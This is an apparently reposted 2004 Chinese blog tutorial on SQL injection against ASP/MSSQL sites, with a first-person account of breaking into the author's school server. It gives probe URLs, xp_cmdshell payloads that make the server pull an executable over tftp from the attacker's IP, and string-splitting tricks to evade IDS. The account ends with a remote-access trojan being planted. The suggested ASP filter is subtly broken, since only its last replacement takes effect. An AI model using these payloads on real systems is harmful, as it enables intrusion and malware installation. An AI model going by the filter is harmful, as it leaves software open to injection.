SQL injection的實現與應用

穩萊

SQL injection的實現與應用
本文作者:angel
文章性質:原創
發佈日期:2004-04-02
前言

  SQL injection可以說是一種漏洞,也可以說成是一種攻擊方法,程式中的變量處理不當,對用戶提交的數據過濾不足,都可能產生這個漏洞,而攻擊原理就是利用用戶提交或可修改的數據,把想要的SQL語句插入到系統實際SQL語句中,輕則獲得敏感的資訊,重則控制服務器。SQL injection並不緊緊局限在Mssql數據庫中,Access、Mysql、Oracle、Sybase都可以進行SQL injection攻擊。

  isno的《SQL injection攻擊技術》是一篇不可多得的好文章,大家可以看看,但是程序畢竟是各種各樣的,有些可以通過修改URL數據來提交命令或語句,有些則不行,不能打URL的主意,怎麼辦呢?通過修改<input>標籤內的value的值也可以提交我們構造的語句,SQL injection是很靈活的技術,但我們的目的只有一個,就是想方設法饒過程序或IDS的檢測和處理提交我們構造的有效語句。

檢測漏洞

  在大多數ASP站點中,我們並不知道其程序代碼,靠任何掃瞄器也不可能發現SQL injection漏洞,這時就要靠手工檢測了,由於我們執行SQL語句要用到單引號、分號、逗號、冒號和「--」,所以我們就在可修改的URL後加上以上符號,或在表單中的文本框加上這些符號,比如:

http://localhost/show.asp?id=1'
http://localhost/show.asp?id=1;
……


  通過頁面返回的信息,判斷是否存在SQL injection漏洞,只是最簡單的通過字符過濾來判斷,根據IIS配置不同,返回的信息是不定的,有時顯示:

Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e21'
ODBC 驅動程序不支持所需的屬性。
/register/lostpass2.asp,行15


  有時可能會顯示「HTTP 500 - 內部服務器錯誤」,也可能顯示原來的頁面,也就是頁面正常顯示,更可能提示「HTTP 404 – 找不到該頁」,判斷是否有漏洞就要有個最基本的根據——經驗,原來我剛開始學習的時候認為我們學校沒有這個漏洞,但小叮噹告訴我,返回的信息僅僅是個根據,更重要的是經驗,結果我們學校就在2小時內被他利用SQL injection漏洞進入了,還開了一個telnet服務……

  如果能拿到源代碼就更好了,可以通過分析源代碼來發現ASP文件的問題,不過這要求有較高的編程功底,最近PsKey就發現了不少程序存在SQL injection漏洞。真是個厲害角色。

提交數據

  我們判斷出一個ASP程序存在SQL injection漏洞以後就要構造我們的語句來對服務器進行操作了,一般我們的目的是控制SQL服務器查閱信息甚至操作系統。所以我們要用到xp_cmdshell這個擴展存儲過程,xp_cmdshell是一個非常有用的擴展存儲過程,用於執行系統命令,比如dir,我們可以根據程序的不同,提交不同的語句,下例語句僅僅是個參考,告訴大家這個原理,實際情況視程序而定,照搬不一定成功,下同。

http://localhost/show.asp?id=1; exec master.dbo.xp_cmdshell 'dir';--
http://localhost/show.asp?id=1'; exec master..xp_cmdshell 'dir'--


  正如前面所說,提交這樣的信息瀏覽器會返回出錯信息或500錯誤,我們怎麼才能知道執行是否成功呢?isno的辦法是用nc監聽本機端口,然後提交nslookup命令來查詢,我個人覺得有些麻煩,直接用tftp來有多種好處,能知道命令是否成功執行;能獲得SQL服務器的IP從而判斷SQL服務器的位置;還能節省一些步驟直接上傳文件到SQL服務器。利用xp_cmdshell擴展存儲過程執行tftp命令,在玩unicode漏洞的時候大家就爐火純青了吧?列如:

http://localhost/show.asp?id=1; exec master.dbo.xp_cmdshell 'tftp –i youip get file.exe';--
http://localhost/show.asp?id=1'; exec master..xp_cmdshell 'tftp –i youip get file.exe'--


  有時提交的數據並不一定起作用,看你怎麼繞過程序的檢測了,如果幸運成功的話,可以看到tftp軟件的窗口出現從本機下載文件的信息了。

  對話框中的IP地址就是SQL服務器的IP,可以根據這個IP判斷SQL服務器處於什麼位置,和web服務器一起,在局域網內,還是單獨的服務器,就自己判斷了,此知識點不在本文討論範圍內,就此略過。命令執行成功以後,就可以替換單引號中的內容,添加用戶、提升權限做什麼都隨便大家了,不過要看看連接SQL服務器的這個角色是什麼組的了。

饒過程序/IDS檢測

  大多數時候,情況並非我們想像的那麼順利,明明字符過濾不完善,但程序或IDS檢測到用戶提交某個擴展存儲過程或系統命令,就自動轉換或拆分字符,讓我們提交的數據分家或改變導致失效,怎麼辦呢?我記得我為了弄清如何饒過IDS檢測,花了兩節課的時間來思考,還寫寫畫畫浪費了半本筆記本,又經過小叮噹的提示,就產生一個思路:拆分命令字符串,賦值給變量,然後把變量組合起來提交,這樣就不會分家了,下面給出兩個例子:

declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
declare @a sysname set @a='xp'+'_cm』+』dshell' exec @a 'dir c:\'


  有時候並不需要這樣,只要把某些字符換ASCII代碼,同樣也可以成功執行,這個我還沒有條件試,如果哪位高人有這方面的研究,請賜教。

實戰

  我們學校的站點做得不錯,上次發表了《由學校校園網看網絡安全現況》以後,學校的安全性各方面都有些提高,監控程序接近變態,為什麼這樣說呢?添加了幾十個守護進程,動不動就死機、藍屏,不過我又破了,包括最令學校自豪的硬盤保護卡。(有人要問我為什麼都拿自己學校開刀?因為作為一個安全技術愛好者連自己的學校/公司都搞不定還怎麼混啊?而且可以間接提醒一下管理員,因為我們學校的管理員對安全性不是很在乎)可見安全沒有絕對的,當然也不可能十全十美,儘管用掃瞄器找不到任何漏洞,但利用SQL injection漏洞卻可以輕易攻破,看看整個站點,沒有任何URL參數,文章是靜態的頁面,只有一個註冊系統和動網論壇,動網論壇是SQL版的,自己修改過,所以比較安全,最新的漏洞沒有。由於學校有條件,所以全站是基於ASP+SQL,為我們利用SQL injection漏洞打下基礎,註冊系統有個忘記密碼功能,文件是lostpass.asp,提交用戶以後轉到lostpass1.asp,提交單引號和分號都提示錯誤,看來是沒有過濾好,於是我提交以下命令:

exec master.dbo.xp_cmdshell 'tftp –i youip get file.exe';--
exec master..xp_cmdshell 'tftp –i youip get file.exe'--
xp_cmdshell 'tftp –i youip get file.exe';--
……


  執行了N條指令(N>50),都不見效,算了,先放棄,再看看還有什麼文件可以利用,不久發現shownews.asp這個文件,通常可以執行系統命令的都是這類顯示文章、資料等等文件,我想學校的開發人員的安全意識應該還沒有那麼強,所以著實開心了一陣,馬上試試:

http://ourschool/shownews.asp?newsid=1;
http://ourschool/shownews.asp?newsid=1'


  呵呵,返回「HTTP 500 - 內部服務器錯誤」憑經驗漏洞存在,OK,馬上輸入:

http://ourschool/shownews.asp?newsid=1'exec master..xp_cmdshell 'tftp -i myip get flash.exe';--
http://ourschool/shownews.asp?newsid=1;exec master..xp_cmdshell 'tftp -i myip get flash.exe;--
……
http://ourschool/shownews.asp?newsid=1;exec master.dbo.xp_cmdshell 'tftp -i myip get flash.exe';--


  試到這句的時候,終於發現tftp軟件的窗口有提示了,大家可以參考前面的那個截圖,我們已經成功了,我的經驗告訴我,連接SQL數據庫的角色是Sysadmin組的,因為我們學校是獨立的服務器,所以權限應該很高,我們可以執行任意命令,只要替換http://ourschool/shownews.asp?newsid=1;exec master.dbo.xp_cmdshell 'tftp -i myip get flash.exe';--這句單引號裡的命令即可,為了快點結束戰鬥,我還是傳了個灰鴿子上去,剛才傳的flash.exe就是客戶端:)事後證明,連接數據庫的果然是sa,善後工作就不寫了,反正大家都知道。

  整個過程看起來很簡單,執行一些語句就可以了,其實提交數據的時候,由於我事先沒有看過shownews.asp的代碼(後來我看了),提交了不下20次無效的語句,走了不少彎路,不過對SQL Injection的高手來說這些都是一些皮毛,這篇文章只不過是有個引導作用罷了。

解決辦法

  事後分析了一下(多謝PsKey的指導)shownews.asp,發現有這個文件完全沒有做任何過濾,裡面有這麼一句:

rs.open "select * from news where newsid=" & cstr(request("newsid")),conn,1,1


  可以直接構造 newsid 發動sql injection攻擊,針對這個文件的解決辦法就是用replace函數過濾,看看下面的一個函數:

<%
function checkStr(str)
if isnull(str) then
checkStr = ""
exit function  
end if
checkStr=replace(str,"'","")
checkStr=replace(str,";","")
checkStr=replace(str,"--","")  
end function
%>


  需要從根本上解決解決SQL Injection問題。還得從程序本身入手。過濾不能單純的過濾URL所提交的參數,在表單裡的也要過濾,value=後面的可以修改的數據,修改後可以提交到服務器,總之對所有的表單提交的數據以及用戶可能對HTML源文件進行修改來控制的所有來自Web服務器外部的數據進行過濾或轉換,(我不擅於表達,此話改自isno的一句話,謝謝isno)對單引號、雙引號、分號「--」還有對數字鍵上面的所有特殊字符進行過濾,還有QUERY_STRING環境變量。在服務器上刪除一些危險的擴展存儲過程,比如xp_cmdshell。有條件裝個IDS更好,不敢說無堅不摧,但至少可以阻擋大部分攻擊者。有哪位朋友願意交流請來我的論壇「Web安全」和我探討。
 

 給當前日誌評分:
Loading Vote
正在讀取評分資料...


文章來自: Tank部落格
引用通告: 查看所有引用 | 我要引用此文章
Tags:
相關日誌:

評論: 0 | 引用: 0 | 查看次數: -
發表評論
暱 稱:
密 碼: 遊客發言不需要密碼.
內 容:
驗證碼: 驗證碼
選 項:
雖然發表評論不用註冊,但是為了保護您的發言權,建議您註冊帳號.